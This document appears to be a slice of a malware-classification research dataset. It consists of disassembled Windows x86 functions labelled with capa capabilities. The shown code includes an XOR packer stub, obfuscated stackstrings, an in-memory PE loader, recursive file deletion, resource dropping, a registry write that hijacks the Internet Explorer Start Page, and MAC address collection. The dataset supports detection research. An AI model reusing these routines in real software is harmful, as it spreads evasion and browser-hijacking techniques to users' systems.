joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41e8bc
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x41e8f8
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x41e8f3
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x41e8dd
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x41e8e5
cmp edx, ebx
jne 0x41ea33
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x41e8b4
add eax, dword [eax + 4]
jmp 0x41e8a1
mov dword [ebp + 0xc], ebx
jmp 0x41e903
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x41e91b
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x41e939
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x41e997
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x41e97e
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x41e987
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x41e991
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x41e973
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x41e8fd
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x41e9e4
dec eax
je 0x41e9db
sub eax, 3
je 0x41e9d2
mov dword [ebp - 4], 0x40
jmp 0x41ea01
mov dword [ebp - 4], 4
jmp 0x41e9e7
mov dword [ebp - 4], 0x20
jmp 0x41e9e7
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x41ea33
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x41e9b3
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.0041e244
xchg edx, eax
sub dword [esi + 0x1475ffe3], esp
push 1
push esi
call edi
mov eax, esi
jmp 0x41ea3f
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41e8e7
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x41e8f8
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x41e8f3
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x41e8dd
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x41e8e5
cmp edx, ebx
jne 0x41ea33
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x41e8b4
add eax, dword [eax + 4]
jmp 0x41e8a1
mov dword [ebp + 0xc], ebx
jmp 0x41e903
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x41e91b
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x41e939
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x41e997
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x41e97e
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x41e987
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x41e991
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x41e973
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x41e8fd
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x41e9e4
dec eax
je 0x41e9db
sub eax, 3
je 0x41e9d2
mov dword [ebp - 4], 0x40
jmp 0x41ea01
mov dword [ebp - 4], 4
jmp 0x41e9e7
mov dword [ebp - 4], 0x20
jmp 0x41e9e7
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x41ea33
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x41e9b3
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.0041e244
xchg edx, eax
sub dword [esi + 0x1475ffe3], esp
push 1
push esi
call edi
mov eax, esi
jmp 0x41ea3f
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41ea73
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x350], 0x62
mov byte [ebp - 0x34f], 0x40
mov byte [ebp - 0x34e], 0x51
mov byte [ebp - 0x34d], 0x75
mov byte [ebp - 0x34c], 0x57
mov byte [ebp - 0x34b], 0x4a
mov byte [ebp - 0x34a], 0x46
mov byte [ebp - 0x349], 0x40
mov byte [ebp - 0x348], 0x56
mov byte [ebp - 0x347], 0x56
mov byte [ebp - 0x346], 0x6d
mov byte [ebp - 0x345], 0x40
mov byte [ebp - 0x344], 0x44
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.0041e254
pop ecx
push eax
push dword [ebp + 0x18]
sbb bh, bh
jne 0x41eb04
call fcn.0041e209
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.0041e254
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0041e209
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.0041e254
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0041e209
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.0041e244
push edi
dec byte [esi - 0x5335a80]
invalid
Function at 0x41eaec
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x350], 0x62
mov byte [ebp - 0x34f], 0x40
mov byte [ebp - 0x34e], 0x51
mov byte [ebp - 0x34d], 0x75
mov byte [ebp - 0x34c], 0x57
mov byte [ebp - 0x34b], 0x4a
mov byte [ebp - 0x34a], 0x46
mov byte [ebp - 0x349], 0x40
mov byte [ebp - 0x348], 0x56
mov byte [ebp - 0x347], 0x56
mov byte [ebp - 0x346], 0x6d
mov byte [ebp - 0x345], 0x40
mov byte [ebp - 0x344], 0x44
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.0041e254
pop ecx
push eax
push dword [ebp + 0x18]
sbb bh, bh
jne 0x41eb04
call fcn.0041e209
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.0041e254
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0041e209
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.0041e254
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0041e209
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.0041e244
push edi
dec byte [esi - 0x5335a80]
invalid
Function at 0x41f6b8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
and byte [ebp - 0x729], 0
mov byte [ebp - 0x728], 0x6b
mov byte [ebp - 0x727], 0x54
mov byte [ebp - 0x726], 0x4f
mov byte [ebp - 0x725], 0x49
mov byte [ebp - 0x724], 0x48
mov byte [ebp - 0x723], 0x5c
mov byte [ebp - 0x722], 0x51
mov byte [ebp - 0x721], 0x6d
mov byte [ebp - 0x720], 0x4f
mov byte [ebp - 0x71f], 0x52
mov byte [ebp - 0x71e], 0x49
mov byte [ebp - 0x71d], 0x58
mov byte [ebp - 0x71c], 0x5e
mov byte [ebp - 0x71b], 0x49
mov byte [ebp - 0x71a], 0x3d
call fcn.0041e244
xchg edi, eax
push edi
dec edx
mov edi, 0xf8d4858d
invalid

Function at 0x423bd0
Capabilities:
Hash data using sha256

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [eax], 0x6a09e667
mov dword [eax + 4], 0xbb67ae85
mov dword [eax + 8], 0x3c6ef372
mov dword [eax + 0xc], 0xa54ff53a
mov dword [eax + 0x10], 0x510e527f
mov dword [eax + 0x14], 0x9b05688c
mov dword [eax + 0x18], 0x1f83d9ab
mov dword [eax + 0x1c], 0x5be0cd19
mov dword [eax + 0x20], ecx
mov dword [eax + 0x24], ecx
pop ebp
ret 4
Function at 0x431003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
mov ebx, 0x40915c
nop
nop
mov ecx, 0x50662360
nop
nop
nop
test eax, eax
nop
je 0x43104e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x431024
nop
nop
mov eax, section..data
mov ebx, 0x42f3f8
nop
mov ecx, 0x77405492
nop
nop
nop
nop
nop
test eax, eax
nop
je 0x431084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43106c
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x874
mov eax, dword [0x423008]
xor eax, esp
mov dword [esp + 0x870], eax
mov eax, dword [ebp + 8]
push ebx
push esi
lea edx, [esp + 0x25c]
push edi
sub edx, eax
lea esp, [esp]
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x401030
lea eax, [esp + 0x260]
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401050
sub eax, edx
sar eax, 1
cmp word [esp + eax*2 + 0x25e], 0x5c
je 0x401087
lea edi, [esp + 0x260]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x401074
mov eax, dword [0x421a4c]
mov dword [edi], eax
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x260]
mov word [esp + eax + 0x468], cx
add eax, 2
test cx, cx
jne 0x401090
lea eax, [esp + 0x468]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x4010b2
mov ecx, dword [0x421a50]
mov edx, dword [0x421a54]
mov dword [eax], ecx
mov dword [eax + 4], edx
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x46c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4011d2
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
lea esp, [esp]
cmp word [esp + 0x3c], 0x2e
je 0x4011a9
test byte [esp + 0x10], 0x10
je 0x401156
lea edx, [esp + 0x260]
push edx
lea eax, [esp + 0x46c]
push 0x104
push eax
call fcn.00401250
lea ecx, [esp + 0x48]
push ecx
lea edx, [esp + 0x478]
push 0x104
push edx
call fcn.00401be0
lea eax, [esp + 0x480]
push eax
call section..text
add esp, 0x1c
jmp 0x4011a9
lea ecx, [esp + 0x260]
push ecx
lea edx, [esp + 0x674]
push 0x104
push edx
call fcn.00401250
lea eax, [esp + 0x48]
push eax
lea ecx, [esp + 0x680]
push 0x104
push ecx
call fcn.00401be0
add esp, 0x18
lea edx, [esp + 0x670]
push edx
call esi
test eax, eax
jne 0x4011a9
push 0x7d0
call edi
lea eax, [esp + 0x670]
push eax
call esi
lea ecx, [esp + 0x10]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x401100
lea edx, [esp + 0x260]
push edx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x87c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401240
mov esp, ebp
pop ebp
ret

Function at 0x401240
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x423008]
jne 0x40124a
repz ret
jmp fcn.00402290
Function at 0x401000
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ecx
mov eax, dword [0x4770c4]
xor eax, esp
mov dword [esp], eax
mov eax, dword [esp + 0x10]
push ebp
mov ebp, dword [esp + 0x10]
push esi
push eax
movzx eax, word [esp + 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test esi, esi
jne 0x401040
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp]
xor ecx, esp
call fcn.00445f20
pop ecx
ret
push ebx
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
jne 0x40105f
pop ebx
pop esi
pop ebp
mov ecx, dword [esp]
xor ecx, esp
call fcn.00445f20
pop ecx
ret
push edi
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0x46c1d4
push ebp
mov edi, eax
call fcn.004460ce
mov esi, eax
push esi
push 1
push edi
push ebx
call fcn.00446247
push esi
call fcn.00446340
mov ecx, dword [esp + 0x2c]
add esp, 0x1c
pop edi
pop ebx
pop esi
pop ebp
xor ecx, esp
mov eax, 1
call fcn.00445f20
pop ecx
ret
Function at 0x401300
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x66c
mov eax, dword [0x4770c4]
xor eax, esp
mov dword [esp + 0x668], eax
push ebp
push esi
mov esi, dword [esp + 0x678]
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x472]
push ecx
mov word [esp + 0x474], ax
call fcn.00447cc0
add esp, 0xc
push esi
lea edx, [esp + 0x46c]
push 0x46c204
push edx
call fcn.00446418
add esp, 0xc
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x46c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40149f
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x26a]
push eax
mov word [esp + 0x26c], dx
call fcn.00447cc0
mov ebp, dword [sym.imp.KERNEL32.dll_FindNextFileW]
add esp, 0xc
lea ecx, [esp + 0x10]
push ecx
push edi
call ebp
test eax, eax
je 0x401498
jmp 0x4013b0
mov ecx, 0x46c210
lea eax, [esp + 0x3c]
lea esp, [esp]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4013e6
test dx, dx
je 0x4013e2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4013e6
add eax, 4
add ecx, 4
test dx, dx
jne 0x4013c0
xor eax, eax
jmp 0x4013eb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x401488
mov ecx, 0x46c214
lea eax, [esp + 0x3c]
lea esp, [esp]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401426
test dx, dx
je 0x401422
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401426
add eax, 4
add ecx, 4
test dx, dx
jne 0x401400
xor eax, eax
jmp 0x40142b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x401488
push 0x104
lea edx, [esp + 0x264]
push 0
push edx
call fcn.00447cc0
add esp, 0xc
lea eax, [esp + 0x3c]
push eax
push esi
lea ecx, [esp + 0x268]
push str._s_s
push ecx
call fcn.00446418
add esp, 0x10
test byte [esp + 0x10], 0x10
je 0x40147a
lea edx, [esp + 0x260]
push edx
call fcn.00401300
add esp, 4
jmp 0x401488
lea eax, [esp + 0x260]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [esp + 0x10]
push ecx
push edi
call ebp
test eax, eax
jne 0x4013b0
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov ecx, dword [esp + 0x674]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.00445f20
add esp, 0x66c
ret
Function at 0x403500
Capabilities:
Set registry value

Disassembly:
sub esp, 0x214
mov eax, dword [0x4770c4]
xor eax, esp
mov dword [esp + 0x210], eax
lea eax, [esp]
push eax
push 0x2001f
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantPersisted
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x40354a
xor al, al
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.00445f20
add esp, 0x214
ret
push esi
push 0x104
lea ecx, [esp + 0x10]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, dword [esp + 4]
push 4
lea edx, [esp + 0xc]
push edx
push 4
push 0
lea eax, [esp + 0x1c]
push eax
push ecx
mov dword [esp + 0x20], 1
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [esp + 4]
push edx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x214]
xor eax, eax
test esi, esi
sete al
pop esi
xor ecx, esp
call fcn.00445f20
add esp, 0x214
ret

Function at 0x403af0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x45e0e6
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x4770c4]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov esi, dword [esp + 0x1c]
mov dword [esi], vtable.CMainWnd.0
mov dword [esi + 0x20], vtable.CMainWnd.1.0
mov dword [esi + 0x30], vtable.CMainWnd.2.0
mov dword [esi + 0x34], vtable.CMainWnd.3.0
mov dword [esi + 0x38], vtable.CMainWnd.4.0
mov dword [esp + 0x14], 1
mov edi, dword [esi + 0x43c]
test edi, edi
je 0x403b58
call fcn.0040d520
push edi
call fcn.00445f80
add esp, 4
cmp dword [esi + 0x438], 8
jb 0x403b70
mov eax, dword [esi + 0x424]
push eax
call fcn.00445f80
add esp, 4
xor eax, eax
mov dword [esi + 0x438], 7
mov dword [esi + 0x434], 0
mov ecx, esi
mov word [esi + 0x424], ax
mov dword [esp + 0x14], 0xffffffff
call fcn.00406c10
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0xc
ret 4
Function at 0x404570
Capabilities:
Create directory

Disassembly:
mov ecx, dword [esi + 0x3f0]
mov eax, dword [ecx]
mov edx, dword [eax + 0xd8]
push edi
xor edi, edi
push edi
call edx
mov ecx, dword [esi + 0x3ec]
mov eax, dword [ecx]
mov edx, dword [eax + 0xd8]
push edi
call edx
mov ecx, dword [esi + 0x3e8]
mov eax, dword [ecx]
mov edx, dword [eax + 0xd8]
push edi
call edx
mov ecx, dword [esi + 0x3d4]
mov eax, dword [ecx]
mov edx, dword [eax + 0xe4]
push edi
call edx
mov ecx, dword [esi + 0x3f4]
push edi
push 1
call fcn.00414a40
mov ecx, dword [esi + 0x3f8]
call fcn.00413127
mov ecx, dword [esi + 0x408]
mov byte [esi + 0x440], al
call fcn.00413127
mov byte [esi + 0x441], al
cmp dword [esi + 0x438], 8
jb 0x4045f8
mov eax, dword [esi + 0x424]
jmp 0x4045fe
lea eax, [esi + 0x424]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp dword [esi + 0x43c], edi
jne 0x40464d
push 0x40
call fcn.004464cb
add esp, 4
cmp eax, edi
je 0x40463b
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], edi
mov dword [eax + 0x14], edi
mov dword [eax + 0x18], edi
mov dword [eax], edi
mov dword [eax + 4], edi
mov dword [eax + 8], edi
mov dword [eax + 0x24], edi
mov dword [eax + 0xc], edi
mov dword [eax + 0x10], edi
jmp 0x40463d
xor eax, eax
mov dword [esi + 0x43c], eax
mov dword [eax + 0x3c], 0x404b80
mov dword [eax + 0x2c], esi
mov eax, dword [esi + 0x43c]
push esi
call fcn.0040d5b0
pop edi
ret
Function at 0x405310
Capabilities:
Set registry value

Disassembly:
push ecx
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
push esi
push edi
lea eax, [esp + 0xc]
push eax
push str.SOFTWAREMicrosoftInternet_ExplorerMain
push reloc.OLEAUT32.dll_SysReAllocString
call ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x405370
cmp dword [0x4783f0], 8
mov eax, dword [0x4783dc]
jae 0x40534e
mov eax, 0x4783dc
mov ecx, dword [0x4783ec]
lea edx, [ecx + ecx]
push edx
push eax
mov eax, dword [esp + 0x14]
push 1
push 0
push str.Start_Page
push eax
call esi
mov ecx, dword [esp + 0xc]
push ecx
call edi
lea edx, [esp + 0xc]
push edx
push str.SoftwareMicrosoftInternet_ExplorerMain
push SysReAllocString
call ebx
test eax, eax
jne 0x4053ba
cmp dword [0x4783f0], 8
mov eax, dword [0x4783dc]
jae 0x405398
mov eax, 0x4783dc
mov ecx, dword [0x4783ec]
lea edx, [ecx + ecx]
push edx
push eax
mov eax, dword [esp + 0x14]
push 1
push 0
push str.Start_Page
push eax
call esi
mov ecx, dword [esp + 0xc]
push ecx
call edi
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4053c0
Capabilities:
Get mac address on windows

Disassembly:
sub esp, 8
push ebp
push 0
push 0x46c228
mov ecx, ebx
call fcn.00403320
push 0x288
mov dword [esp + 0xc], 0x288
call fcn.004469f5
mov ebp, eax
add esp, 4
lea eax, [esp + 8]
push eax
push ebp
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x405412
push ebp
call fcn.00446abf
mov ecx, dword [esp + 0xc]
push ecx
call fcn.004469f5
mov ebp, eax
add esp, 8
test ebp, ebp
je 0x40542a
lea edx, [esp + 8]
push edx
push ebp
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
je 0x405431
push ebp
call fcn.00446abf
add esp, 4
xor al, al
pop ebp
add esp, 8
ret
push esi
xor esi, esi
cmp dword [ebp + 0x190], esi
jbe 0x405491
lea esp, [esp]
xor eax, eax
mov word [esp + 9], ax
mov byte [esp + 0xb], al
movzx eax, byte [esi + ebp + 0x194]
push eax
lea ecx, [esp + 0xc]
push str._.2x
push ecx
mov byte [esp + 0x14], 0
call fcn.00446b4d
lea eax, [esp + 0x14]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405472
sub eax, edx
push eax
lea edx, [esp + 0xc]
push edx
mov eax, ebx
call fcn.00402a10
inc esi
cmp esi, dword [ebp + 0x190]
jb 0x405440
cmp dword [ebx + 0x14], 8
jae 0x40550f
push edi
mov edi, dword [ebp]
test edi, edi
je 0x40550e
nop
xor esi, esi
cmp dword [edi + 0x190], esi
jbe 0x405501
lea ebx, [ebx]
xor eax, eax
